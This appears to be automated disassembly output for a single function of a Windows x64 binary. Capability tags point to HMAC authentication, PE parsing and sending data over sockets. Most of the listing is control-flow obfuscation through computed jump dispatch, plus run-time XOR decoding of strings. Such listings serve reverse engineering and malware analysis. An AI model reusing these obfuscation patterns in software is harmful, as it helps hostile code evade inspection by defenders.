Function at 0x140134658
Capabilities:
Authenticate hmac
Parse pe header
Send data
Send data on socket

Disassembly:
push rax
pushf
mov eax, 0xc0292c8
pushf
not eax
add eax, 0xd2a4d4eb
xor eax, 0x99c73892
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xa8c79d95
xor eax, 0xf6a72929
rol eax, 0x11
popf
pushf
not eax
add eax, 0x8c82e087
xor eax, 0xa5dac465
rol eax, 0xa8
popf
pushf
not eax
add eax, 0x9981ec0c
xor eax, 0xe996a810
rol eax, 0x1e
popf
cmp eax, 0x29
jne 0x1401346bb
popf
pop rax
jmp 0x140136295
cmp eax, 0
jne 0x1401346ca
popf
pop rax
jmp 0x14013495e
cmp eax, 3
jne 0x1401346d9
popf
pop rax
jmp 0x140134e6a
cmp eax, 1
jne 0x1401346e8
popf
pop rax
jmp 0x140134a3d
cmp eax, 0xd
jne 0x1401346f7
popf
pop rax
jmp 0x14013544e
cmp eax, 0x1a
jne 0x140134706
popf
pop rax
jmp 0x140135b39
cmp eax, 0xe
jne 0x140134715
popf
pop rax
jmp 0x1401354af
cmp eax, 0xb
jne 0x140134724
popf
pop rax
jmp 0x1401352d5
cmp eax, 0x19
jne 0x140134733
popf
pop rax
jmp 0x140135a6e
cmp eax, 8
jne 0x140134742
popf
pop rax
jmp 0x1401350d7
cmp eax, 0x2a
jne 0x140134751
popf
pop rax
jmp 0x1401362f4
cmp eax, 0x17
jne 0x140134760
popf
pop rax
jmp 0x140135913
cmp eax, 0x1c
jne 0x14013476f
popf
pop rax
jmp 0x140135c3e
cmp eax, 0x12
jne 0x14013477e
popf
pop rax
jmp 0x140135750
cmp eax, 0x18
jne 0x14013478d
popf
pop rax
jmp 0x1401359f5
cmp eax, 0x2b
jne 0x14013479c
popf
pop rax
jmp 0x140136353
cmp eax, 0x1b
jne 0x1401347ab
popf
pop rax
jmp 0x140135b98
cmp eax, 0x2d
jne 0x1401347ba
popf
pop rax
jmp 0x1401363eb
cmp eax, 0x23
jne 0x1401347c9
popf
pop rax
jmp 0x140135f85
cmp eax, 0x25
jne 0x1401347d8
popf
pop rax
jmp 0x1401360d1
cmp eax, 0xf
jne 0x1401347e7
popf
pop rax
jmp 0x140135541
cmp eax, 0x13
jne 0x1401347f6
popf
pop rax
jmp 0x140135798
cmp eax, 0x15
jne 0x140134805
popf
pop rax
jmp 0x140135893
cmp eax, 0x24
jne 0x140134814
popf
pop rax
jmp 0x140136045
cmp eax, 0x1e
jne 0x140134823
popf
pop rax
jmp 0x140135da8
cmp eax, 0xc
jne 0x140134832
popf
pop rax
jmp 0x1401353b6
cmp eax, 0x26
jne 0x140134841
popf
pop rax
jmp 0x140136172
cmp eax, 0x27
jne 0x140134850
popf
pop rax
jmp 0x1401361bd
cmp eax, 0x1f
jne 0x14013485f
popf
pop rax
jmp 0x140135df6
cmp eax, 0x10
jne 0x14013486e
popf
pop rax
jmp 0x1401355e1
cmp eax, 0x2c
jne 0x14013487d
popf
pop rax
jmp 0x14013638c
cmp eax, 9
jne 0x14013488c
popf
pop rax
jmp 0x14013518c
cmp eax, 4
jne 0x14013489b
popf
pop rax
jmp 0x140134f09
cmp eax, 0x16
jne 0x1401348aa
popf
pop rax
jmp 0x1401358c9
cmp eax, 0x28
jne 0x1401348b9
popf
pop rax
jmp 0x14013625c
cmp eax, 0xa
jne 0x1401348c8
popf
pop rax
jmp 0x1401351fa
cmp eax, 0x22
jne 0x1401348d7
popf
pop rax
jmp 0x140135ec9
cmp eax, 0x14
jne 0x1401348e6
popf
pop rax
jmp 0x140135829
cmp eax, 7
jne 0x1401348f5
popf
pop rax
jmp 0x14013509f
cmp eax, 5
jne 0x140134904
popf
pop rax
jmp 0x140134f9a
cmp eax, 2
jne 0x140134913
popf
pop rax
jmp 0x140134ae5
cmp eax, 0x20
jne 0x140134922
popf
pop rax
jmp 0x140135e6b
cmp eax, 0x1d
jne 0x140134931
popf
pop rax
jmp 0x140135cf0
cmp eax, 0x11
jne 0x140134940
popf
pop rax
jmp 0x1401356a0
cmp eax, 6
jne 0x14013494f
popf
pop rax
jmp 0x140134fe5
cmp eax, 0x21
jne 0x14013495e
popf
pop rax
jmp 0x140135eb5
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xe0
mov rax, qword [0x140103090]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov qword [rbp - 0x51], r8
mov ebx, edx
mov qword [rbp - 0x19], r8
mov rax, qword [0x14010a848]
mov qword [rbp - 0x41], rax
mov rcx, rax
call fcn.1402d4e63
test al, al
jne 0x140134a0a
push rax
pushf
mov eax, 0xee1b05ec
pushf
not eax
add eax, 0x86d77a42
xor eax, 0xaec62943
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xddb480f3
xor eax, 0xf37ebf56
rol eax, 0x50
popf
pushf
not eax
add eax, 0xe27e9b75
xor eax, 0xc6e1fdad
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xef913fb0
xor eax, 0xc1992050
rol eax, 0x71
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0x426fe9d8
pushf
not eax
add eax, 0x8efeb637
xor eax, 0xc1eaa923
rol eax, 0x1c
popf
pushf
not eax
add eax, 0x9c1ecf4a
xor eax, 0xc348c8f2
rol eax, 0x13
popf
jmp 0x1401346ac
mov ecx, 0x698994a8
pushf
not ecx
add ecx, 0xa7827173
xor ecx, 0xe9f0ef94
rol ecx, 0x4e
popf
pushf
not ecx
add ecx, 0xe04fb479
xor ecx, 0xcb6dcac9
rol ecx, 0x6c
popf
pushf
not ecx
add ecx, 0x93407b9d
xor ecx, 0xcc36b0e7
rol ecx, 0x3f
popf
pushf
not ecx
add ecx, 0x97845e21
xor ecx, 0x867340a2
rol ecx, 0xd0
popf
jmp 0x140134a97
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140134a3d
mov edx, ebx
lea rcx, [rbp - 0x39]
call fcn.1403544be
nop
mov byte [rsp + 0x28], 0x31
mov al, 0x9d
pushf
not al
add al, 0x4e
xor al, 0x11
rol al, 0x55
popf
pushf
not al
add al, 8
xor al, 0x94
rol al, 0xb2
popf
pushf
not al
add al, 0x1a
xor al, 0xda
rol al, 0x5f
popf
pushf
not al
add al, 0x2c
xor al, 0xb6
rol al, 0x19
popf
mov cl, 0x26
pushf
not cl
add cl, 0x5c
xor cl, 0x49
rol cl, 0x78
popf
pushf
not cl
add cl, 0xf9
xor cl, 0x5a
rol cl, 0x78
popf
pushf
not cl
add cl, 0x17
xor cl, 0x86
rol cl, 7
popf
pushf
not cl
add cl, 0x10
xor cl, 0x51
rol cl, 0x3c
popf
mov dl, 0x1e
pushf
not dl
add dl, 0xda
xor dl, 0x22
rol dl, 0x71
popf
pushf
not dl
add dl, 0x72
xor dl, 0xdf
rol dl, 0xd
popf
pushf
not dl
add dl, 0x57
xor dl, 0xdd
rol dl, 0xbf
popf
pushf
not dl
add dl, 0xa6
xor dl, 0xe8
rol dl, 0x2d
popf
movzx r8d, dl
movzx r9d, al
mov r10b, 2
pushf
not r10b
add r10b, 0xde
xor r10b, 0x1a
rol r10b, 0x45
popf
pushf
not r10b
add r10b, 0x97
xor r10b, 0x68
rol r10b, 0x5f
popf
pushf
not r10b
add r10b, 0xf8
xor r10b, 0x56
rol r10b, 0x13
popf
mov r11b, 0xf1
pushf
not r11b
add r11b, 0x28
xor r11b, 0x9e
rol r11b, 0xcb
popf
pushf
not r11b
add r11b, 0xee
xor r11b, 0xbc
rol r11b, 0xf2
popf
mov bl, 0x5f
pushf
not bl
add bl, 0x5f
xor bl, 0x90
rol bl, 0xfd
popf
pushf
not bl
add bl, 0x34
xor bl, 0x21
rol bl, 0xc3
popf
pushf
not bl
add bl, 0xf
xor bl, 0x53
rol bl, 0xaa
popf
pushf
not bl
add bl, 0xb8
xor bl, 0xf1
rol bl, 0xb0
popf
movzx edi, dl
mov sil, 0x39
pushf
not sil
add sil, 0xd8
xor sil, 0x60
rol sil, 0x6e
popf
pushf
not sil
add sil, 0xae
xor sil, 0xfe
rol sil, 0xc7
popf
pushf
not sil
add sil, 0x5d
xor sil, 0xf8
rol sil, 0x91
popf
mov r14b, 0x8d
pushf
not r14b
add r14b, 0x4d
xor r14b, 0x92
rol r14b, 0x91
popf
pushf
not r14b
add r14b, 0x9f
xor r14b, 0xa9
rol r14b, 0xa4
popf
pushf
not r14b
add r14b, 1
xor r14b, 0x6c
rol r14b, 0x35
popf
pushf
not r14b
add r14b, 0x53
xor r14b, 0x2a
rol r14b, 1
popf
mov r15b, 0xc8
pushf
not r15b
add r15b, 0xff
xor r15b, 0x5d
rol r15b, 0x89
popf
pushf
not r15b
add r15b, 0x4c
xor r15b, 0xc8
rol r15b, 0xa9
popf
pushf
not r15b
add r15b, 0x43
xor r15b, 0xfb
rol r15b, 0x57
popf
pushf
not r15b
add r15b, 0x8a
xor r15b, 0x73
rol r15b, 0xbd
popf
mov r12b, 0x88
pushf
not r12b
add r12b, 0xa9
xor r12b, 0xa
rol r12b, 0x37
popf
pushf
not r12b
add r12b, 0x50
xor r12b, 0xf8
rol r12b, 0x1a
popf
xor r13d, r13d
xor al, 0x31
mov byte [rbp - 0x80], al
xor cl, 0x31
mov byte [rbp - 0x7f], cl
xor dl, 0x31
mov byte [rbp - 0x7e], dl
xor r8b, 0x31
mov byte [rbp - 0x7d], r8b
xor r9b, 0x31
mov byte [rbp - 0x7c], r9b
xor r10b, 0x31
mov byte [rbp - 0x7b], r10b
xor r11b, 0x31
mov byte [rbp - 0x7a], r11b
xor bl, 0x31
mov byte [rbp - 0x79], bl
xor dil, 0x31
mov byte [rbp - 0x78], dil
xor sil, 0x31
mov byte [rbp - 0x77], sil
xor r14b, 0x31
mov byte [rbp - 0x76], r14b
xor r15b, 0x31
mov byte [rbp - 0x75], r15b
xor r12b, 0x31
mov byte [rbp - 0x74], r12b
mov byte [rbp - 0x73], r13b
lea r8, [rbp - 0x39]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x11]
call fcn.140284347
nop
mov rdx, qword [rbp - 0x21]
cmp rdx, 0x10
mov r13, qword [rbp - 0x51]
jb 0x140134e37
push rax
pushf
mov eax, 0x7006f8c4
pushf
not eax
add eax, 0xbdc64cf1
xor eax, 0x98c37bff
rol eax, 0x86
popf
pushf
not eax
add eax, 0x890b8dda
xor eax, 0xffd6d9e9
rol eax, 0x58
popf
pushf
not eax
add eax, 0xf9db89dd
xor eax, 0xbeb8263e
rol eax, 0xab
popf
pushf
not eax
add eax, 0xd4e3b4f0
xor eax, 0xeaaeea5a
rol eax, 0x73
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0x41e0bd3d
pushf
not eax
add eax, 0xea4b0d9f
xor eax, 0xa6b1300d
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xae9f9f3c
xor eax, 0xcb9c3ec5
rol eax, 0x46
popf
jmp 0x1401346ac
inc rdx
mov rcx, qword [rbp - 0x39]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140134ed6
push rax
pushf
mov eax, 0x9b30e87f
pushf
not eax
add eax, 0xdffed8aa
xor eax, 0xa56fa495
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xfb0e7a80
xor eax, 0xf25b89e4
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xe213163f
xor eax, 0xad468103
rol eax, 0x95
popf
pushf
not eax
add eax, 0xf87bfc0e
xor eax, 0xc52f61b3
rol eax, 0x3b
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0x8061f93
pushf
not eax
add eax, 0xf987f993
xor eax, 0x8814758c
rol eax, 0xe8
popf
pushf
not eax
add eax, 0x85493e31
xor eax, 0xef9ccae7
rol eax, 0xfc
popf
jmp 0x1401346ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140134f67
push rax
pushf
mov eax, 0x6adffbc5
pushf
not eax
add eax, 0x95e69de1
xor eax, 0xf8dae955
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xa6902aa5
xor eax, 0xe8d1cacc
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xb3a178f3
xor eax, 0x813087d6
rol eax, 1
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0x793ad60c
pushf
not eax
add eax, 0xfc1dd0d2
xor eax, 0xc6c49e49
rol eax, 0x59
popf
pushf
not eax
add eax, 0xa2f6c8db
xor eax, 0x88fe7c11
rol eax, 0x8c
popf
jmp 0x1401346ac
call fcn.1401eb76d
push rax
pushf
mov eax, 0x9c2e52e9
pushf
not eax
add eax, 0xd3d8aaa8
xor eax, 0xe75ddd03
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xeae0b993
xor eax, 0xf39a47cb
rol eax, 0xa
popf
pushf
not eax
add eax, 0x9d114e4d
xor eax, 0xd077511b
rol eax, 0x4d
popf
jmp 0x1401346ac
movdqa xmm0, xmmword [0x1400f8e60]
movdqu xmmword [rbp - 0x29], xmm0
mov byte [rbp - 0x39], 0
mov r12, qword [r13]
mov rax, qword [r13 + 8]
mov qword [rsp + 0x28], rax
mov r15, 0xffffffffffffffff
cmp r12, rax
je 0x140135046
push rax
pushf
mov eax, 0x2d803db
pushf
not eax
add eax, 0xa72ec2b8
xor eax, 0xaa0ec6df
rol eax, 7
popf
pushf
not eax
add eax, 0xae1944f4
xor eax, 0x81da436c
rol eax, 0x30
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0xa37cb043
pushf
not eax
add eax, 0xc652c1c1
xor eax, 0x9c4c5f7f
rol eax, 0x20
popf
pushf
not eax
add eax, 0xfcd5dfc9
xor eax, 0xc1bf5d80
rol eax, 0x41
popf
pushf
not eax
add eax, 0xc123ee94
xor eax, 0x81b15b22
rol eax, 0x48
popf
pushf
not eax
add eax, 0xfc865c11
xor eax, 0xd17937dd
rol eax, 0xc1
popf
jmp 0x1401346ac
nop dword [rax + rax]
push rax
pushf
mov eax, 0x28df49f9
pushf
not eax
add eax, 0x97fc0423
xor eax, 0xba5f058e
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xa9b4c94f
xor eax, 0xbf1ae97b
rol eax, 0x70
popf
jmp 0x1401346ac
mov rdx, r12
lea rcx, [rbp + 0xf]
call fcn.140263690
nop
mov byte [rsp + 0x24], reloc.WS2_32.dll_WSACleanup
mov al, 0x94
pushf
not al
add al, 0x6b
xor al, 0x98
rol al, 0xa0
popf
pushf
not al
add al, 0x52
xor al, 0x65
rol al, 0x55
popf
pushf
not al
add al, 0x84
xor al, 0x13
rol al, 0xae
popf
pushf
not al
add al, 0xd2
xor al, 0x91
rol al, 0xe6
popf
xor ecx, ecx
xor al, 0x74
mov byte [rsp + 0x25], al
mov byte [rsp + 0x26], cl
lea rax, [rsp + 0x25]
mov rbx, r15
push rax
pushf
mov eax, 0x95c8f0c8
pushf
not eax
add eax, 0xe5e241e2
xor eax, 0xb4d8ca6b
rol eax, 0xce
popf
pushf
not eax
add eax, 0x914701a6
xor eax, 0xec5aaff0
rol eax, 0xab
popf
pushf
not eax
add eax, 0xac4f8203
xor eax, 0xf8322e6b
rol eax, 0x83
popf
pushf
not eax
add eax, 0xd1fc1173
xor eax, 0xe8e2239c
rol eax, 0xcf
popf
jmp 0x1401346ac
inc rbx
cmp byte [rax + rbx], cl
jne 0x1401351c7
push rax
pushf
mov eax, 0xc09f14ab
pushf
not eax
add eax, 0xab3c9c6c
xor eax, 0xc10dd1f8
rol eax, 0xff
popf
pushf
not eax
add eax, 0xc70cf4a7
xor eax, 0xb144c9da
rol eax, 0xfd
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0xdb375274
pushf
not eax
add eax, 0xb7b3cd9f
xor eax, 0x8d672aa9
rol eax, 0x97
popf
pushf
not eax
add eax, 0x997d8992
xor eax, 0xd7d4fbe0
rol eax, 0x80
popf
jmp 0x1401346ac
movabs rdx, 0xfeffffff9db90a09
pushf
not rdx
add rdx, 0x49673abc
xor rdx, 0x6f798e4b
rol rdx, 0x40
popf
pushf
not rdx
add rdx, 0x623f5f76
xor rdx, 0x62985f83
rol rdx, 0x87
popf
mov rax, rdx
mov r13, qword [rbp + 0x1f]
sub rax, r13
cmp rax, rbx
jb 0x1401352a2
push rax
pushf
mov eax, 0x15c93870
pushf
not eax
add eax, 0xcef13efe
xor eax, 0xfb48de3e
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xdeb550ea
xor eax, 0xc828e447
rol eax, 0xe
popf
pushf
not eax
add eax, 0xb75b55d9
xor eax, 0xd7ecc448
rol eax, 0xef
popf
pushf
not eax
add eax, 0xca481a0d
xor eax, 0x8462c2a1
rol eax, 0x52
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0x7d6d95ad
pushf
not eax
add eax, 0xce91d90a
xor eax, 0xa76cf5e3
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xd60d3680
xor eax, 0xf07b08d0
rol eax, 0xa8
popf
jmp 0x1401346ac
lea rcx, [rbp + 0xf]
cmp qword [rbp + 0x27], 0x10
setae byte [rsp + 0x20]
mov r14, qword [rbp + 0xf]
cmovae rcx, r14
mov qword [rbp - 0x49], rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x71], xmm0
xor r8d, r8d
mov qword [rbp - 0x61], r8
mov qword [rbp - 0x59], r8
lea rax, [rbx + r13]
mov edi, 0xacc8de17
pushf
not edi
add edi, 0x9531d132
xor edi, 0xbaeeb50d
rol edi, 0xb9
popf
pushf
not edi
add edi, 0xf0492144
xor edi, 0xc15414b7
rol edi, 0xec
popf
lea rsi, [rbp - 0x71]
cmp rax, rdi
jbe 0x140135383
push rax
pushf
mov eax, 0xc918202b
pushf
not eax
add eax, 0xd6a77654
xor eax, 0xf2b7c404
rol eax, 0x7f
popf
pushf
not eax
add eax, 0x841b1622
xor eax, 0x9989562b
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xc9238889
xor eax, 0xd189e7eb
rol eax, 0x93
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0x452ccc32
pushf
not eax
add eax, 0xdb11e767
xor eax, 0xbfeb8c5a
rol eax, 0x36
popf
pushf
not eax
add eax, 0x9cf1ee5b
xor eax, 0xc1676855
rol eax, 0x7b
popf
jmp 0x1401346ac
mov rdi, rax
or rdi, 0xf
cmp rdi, rdx
jbe 0x14013541b
push rax
pushf
mov eax, 0xcf40e6ba
pushf
not eax
add eax, 0xe84603c5
xor eax, 0xd30aa0fe
rol eax, 0xce
popf
pushf
not eax
add eax, 0xd00d7cdf
xor eax, 0xf1ec2ce1
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xc517f857
xor eax, 0xfd8832db
rol eax, 0x79
popf
pushf
not eax
add eax, 0xde95deff
xor eax, 0xf7737d26
rol eax, 0xcd
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0xab08b5a5
pushf
not eax
add eax, 0xe6137c9e
xor eax, 0x83001954
rol eax, 6
popf
pushf
not eax
add eax, 0x94267280
xor eax, 0xe16e8751
rol eax, 0x85
popf
jmp 0x1401346ac
mov rdi, rdx
jmp 0x140135541
cmp rdi, 0x16
mov ecx, 0xdb6979c6
pushf
not ecx
add ecx, 0xee4112b8
xor ecx, 0xf515d4f7
rol ecx, 0x3e
popf
pushf
not ecx
add ecx, 0x910f120e
xor ecx, 0xd8afc023
rol ecx, 0xc1
popf
pushf
not ecx
add ecx, 0xbe2de19c
xor ecx, 0xfeca633c
rol ecx, 4
popf
cmovb rdi, rcx
push rax
pushf
mov eax, 0x86c3047d
pushf
not eax
add eax, 0xebca0e6d
xor eax, 0xe9b4aef2
rol eax, 0xe
popf
pushf
not eax
add eax, 0xafe4c789
xor eax, 0xd7e09294
rol eax, 0x13
popf
pushf
not eax
add eax, 0x8d82ae34
xor eax, 0xd742ee44
rol eax, 0xb4
popf
jmp 0x1401346ac
mov rcx, rdi
add rcx, 1
cmovb rcx, r15
cmp rcx, 0x1000
jb 0x1401355ae
push rax
pushf
mov eax, 0x2a396810
pushf
not eax
add eax, 0xb8eabee2
xor eax, 0x9e3e313f
rol eax, 0x69
popf
pushf
not eax
add eax, 0xd67d4f3e
xor eax, 0xa7c24899
rol eax, 0x33
popf
pushf
not eax
add eax, 0xd986a4c3
xor eax, 0xc8cff5e5
rol eax, 0x74
popf
pushf
not eax
add eax, 0xcef54818
xor eax, 0x8531eefa
rol eax, 0x6c
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0x67e7a785
pushf
not eax
add eax, 0xc82aad2b
xor eax, 0xe95d4b29
rol eax, 0x32
popf
pushf
not eax
add eax, 0xf5fd073e
xor eax, 0xbbc362c4
rol eax, 0x91
popf
jmp 0x1401346ac
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140135647
push rax
pushf
mov eax, 0x3b0d7fd9
pushf
not eax
add eax, 0xdfd2695d
xor eax, 0xfb430590
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xe485f539
xor eax, 0xba7511dd
rol eax, 4
popf
pushf
not eax
add eax, 0xf30dd65a
xor eax, 0xc8530295
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xaa263e9d
xor eax, 0xbef866a2
rol eax, 0x56
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0x7fd97b59
pushf
not eax
add eax, 0xa07f08f7
xor eax, 0xa2242825
rol eax, 0x92
popf
pushf
not eax
add eax, 0x98246353
xor eax, 0xa99ff57d
rol eax, 0x29
popf
pushf
not eax
add eax, 0xc15bf8d1
xor eax, 0xac9d6617
rol eax, 0xad
popf
pushf
not eax
add eax, 0x9cf6ccfd
xor eax, 0xbe89b519
rol eax, 0x9c
popf
jmp 0x1401346ac
mov rcx, rax
call fcn.14012f3ec
test rax, rax
je 0x1401356f7
push rax
pushf
mov eax, 0x1d2ab2cc
pushf
not eax
add eax, 0xdd730c12
xor eax, 0xb72c9c5b
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xe71c70a7
xor eax, 0x9e23b1ec
rol eax, 0xda
popf
pushf
not eax
add eax, 0x8a1706b7
xor eax, 0x87178d94
rol eax, 0x26
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0x1e991d0c
pushf
not eax
add eax, 0x9c550aa6
xor eax, 0xdeb09886
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xd6a822d7
xor eax, 0x852dd8da
rol eax, 0x18
popf
pushf
not eax
add eax, 0xde469cb0
xor eax, 0xa81617ca
rol eax, 0x28
popf
pushf
not eax
add eax, 0xe0202409
xor eax, 0x90bab0da
rol eax, 0x3f
popf
jmp 0x1401346ac
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
lea rax, [rbx + r13]
jmp 0x1401358c9
test rcx, rcx
je 0x1401357d0
push rax
pushf
mov eax, 0xf427f2b7
pushf
not eax
add eax, 0xb231d8eb
xor eax, 0xe8748eaa
rol eax, 0x69
popf
pushf
not eax
add eax, 0xea182a94
xor eax, 0xef4657e7
rol eax, 0x95
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0xa57bea8d
pushf
not eax
add eax, 0xdb783bb9
xor eax, 0xfd3df5af
rol eax, 0xac
popf
pushf
not eax
add eax, 0xdede9fc5
xor eax, 0xd26f687a
rol eax, 0xd5
popf
pushf
not eax
add eax, 0x89438417
xor eax, 0xb83a9efd
rol eax, 0x81
popf
pushf
not eax
add eax, 0xbb5e8f9e
xor eax, 0x88eab378
rol eax, 0x95
popf
jmp 0x1401346ac
call fcn.14012f3ec
mov rsi, rax
lea rax, [rbx + r13]
jmp 0x1401358c9
mov rsi, r8
push rax
pushf
mov eax, 0x2e7e3621
pushf
not eax
add eax, 0xbe0c178c
xor eax, 0xcdb460c2
rol eax, 0x20
popf
pushf
not eax
add eax, 0xf1f82704
xor eax, 0xafbea43b
rol eax, 0x5c
popf
jmp 0x1401346ac
mov qword [rbp - 0x71], rsi
push rax
pushf
mov eax, 0x94faab26
pushf
not eax
add eax, 0xf8b2823a
xor eax, 0xe8f1d8df
rol eax, 0x56
popf
pushf
not eax
add eax, 0xd2277b69
xor eax, 0x83e2a541
rol eax, 0xef
popf
pushf
not eax
add eax, 0x9abd7772
xor eax, 0x946e88fe
rol eax, 0xb2
popf
jmp 0x1401346ac
mov qword [rbp - 0x61], rax
mov qword [rbp - 0x59], rdi
mov r8, rbx
lea rdx, [rsp + 0x25]
mov rcx, rsi
call fcn.1400445f0
lea rcx, [rsi + rbx]
mov r8, r13
mov rdx, qword [rbp - 0x49]
call fcn.1400445f0
lea rax, [rbx + r13]
mov byte [rsi + rax], 0
lea rdx, [rbp - 0x71]
cmp qword [rbp - 0x59], 0x10
cmovae rdx, qword [rbp - 0x71]
mov r8, qword [rbp - 0x61]
lea rcx, [rbp - 0x11]
call fcn.1402cf865
nop
mov rdx, qword [rbp - 0x59]
cmp rdx, 0x10
jb 0x1401359af
push rax
pushf
mov eax, 0x918e74c2
pushf
not eax
add eax, 0xfbe03bb3
xor eax, 0x9be882c4
rol eax, 0x37
popf
pushf
not eax
add eax, 0xced74ec7
xor eax, 0xb9dc227f
rol eax, 0x72
popf
pushf
not eax
add eax, 0xcde0dc8b
xor eax, 0x8c74aa81
rol eax, 0xf9
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0x8608ea94
pushf
not eax
add eax, 0xec902844
xor eax, 0x89f191c3
rol eax, 0xc8
popf
pushf
not eax
add eax, 0x91139978
xor eax, 0xd59cedff
rol eax, 0x49
popf
pushf
not eax
add eax, 0xf05553fb
xor eax, 0xf8d269db
rol eax, 0x19
popf
jmp 0x1401346ac
inc rdx
mov rcx, qword [rbp - 0x71]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140135a3b
push rax
pushf
mov eax, 0x42f5106d
pushf
not eax
add eax, 0xac3b49e8
xor eax, 0x869399e3
rol eax, 0xe5
popf
pushf
not eax
add eax, 0x8dee90bb
xor eax, 0x933a197d
rol eax, 0xd6
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0x4d2ef5fc
pushf
not eax
add eax, 0xa55bdcd4
xor eax, 0x84a8974a
rol eax, 0xe
popf
pushf
not eax
add eax, 0xbd96a234
xor eax, 0xa12f3112
rol eax, 0x98
popf
jmp 0x1401346ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140135ae0
push rax
pushf
mov eax, 0xae07960a
pushf
not eax
add eax, 0xce0de68b
xor eax, 0xf300001d
rol eax, 4
popf
pushf
not eax
add eax, 0xf4485a76
xor eax, 0x95f2a193
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xa8399719
xor eax, 0xcdd59cc6
rol eax, 0x39
popf
pushf
not eax
add eax, 0xc9c45ead
xor eax, 0xbc691a42
rol eax, 0x1a
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0x2addbb58
pushf
not eax
add eax, 0xf2752052
xor eax, 0xb98748c4
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xbbd8b3a1
xor eax, 0xfd55759e
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xa7ad2a24
xor eax, 0x8daac464
rol eax, 0x71
popf
pushf
not eax
add eax, 0xccfe9aaf
xor eax, 0xfe3ad409
rol eax, 0xd
popf
jmp 0x1401346ac
call fcn.1401eb76d
nop
push rax
pushf
mov eax, 0x6d381fa2
pushf
not eax
add eax, 0xf7d5e07d
xor eax, 0xdb00f452
rol eax, 0xe3
popf
pushf
not eax
add eax, 0x82a72695
xor eax, 0xe5cb20ee
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xddfdd80c
xor eax, 0xb56e1b00
rol eax, 0xed
popf
pushf
not eax
add eax, 0xb6ad6c5f
xor eax, 0x857b0b4c
rol eax, 0x43
popf
jmp 0x1401346ac
cmp byte [rsp + 0x20], 0
je 0x140135be5
push rax
pushf
mov eax, 0x2b3a9de9
pushf
not eax
add eax, 0xa3efc701
xor eax, 0xa2b55273
rol eax, 0x1e
popf
pushf
not eax
add eax, 0x9ec77e8a
xor eax, 0xee79d691
rol eax, 0x95
popf
pushf
not eax
add eax, 0xaeefe505
xor eax, 0x8ab11d33
rol eax, 0x31
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0xb30c3c33
pushf
not eax
add eax, 0xe95853d3
xor eax, 0xea0d1049
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xf87758c1
xor eax, 0xb65d23f5
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xe34fa1da
xor eax, 0xfab15d61
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xc090a6f3
xor eax, 0x9051059b
rol eax, 0x1d
popf
jmp 0x1401346ac
mov rdx, qword [rbp + 0x27]
inc rdx
mov rax, r14
cmp rdx, 0x1000
jb 0x140135c97
push rax
pushf
mov eax, 0x98df88af
pushf
not eax
add eax, 0xfb2ee9ac
xor eax, 0x84b58c94
rol eax, 0x64
popf
pushf
not eax
add eax, 0x89c73ecd
xor eax, 0x895af900
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xaddc9d1a
xor eax, 0x99f368cb
rol eax, 0x1f
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0x5fb35199
pushf
not eax
add eax, 0x9d93df13
xor eax, 0xf8127cf4
rol eax, 0x26
popf
pushf
not eax
add eax, 0xe55edc0c
xor eax, 0xeb0a10b6
rol eax, 0xfd
popf
pushf
not eax
add eax, 0x81939e4e
xor eax, 0x89502c2e
rol eax, 0x45
popf
pushf
not eax
add eax, 0xf658ce61
xor eax, 0xec812251
rol eax, 0xdb
popf
jmp 0x1401346ac
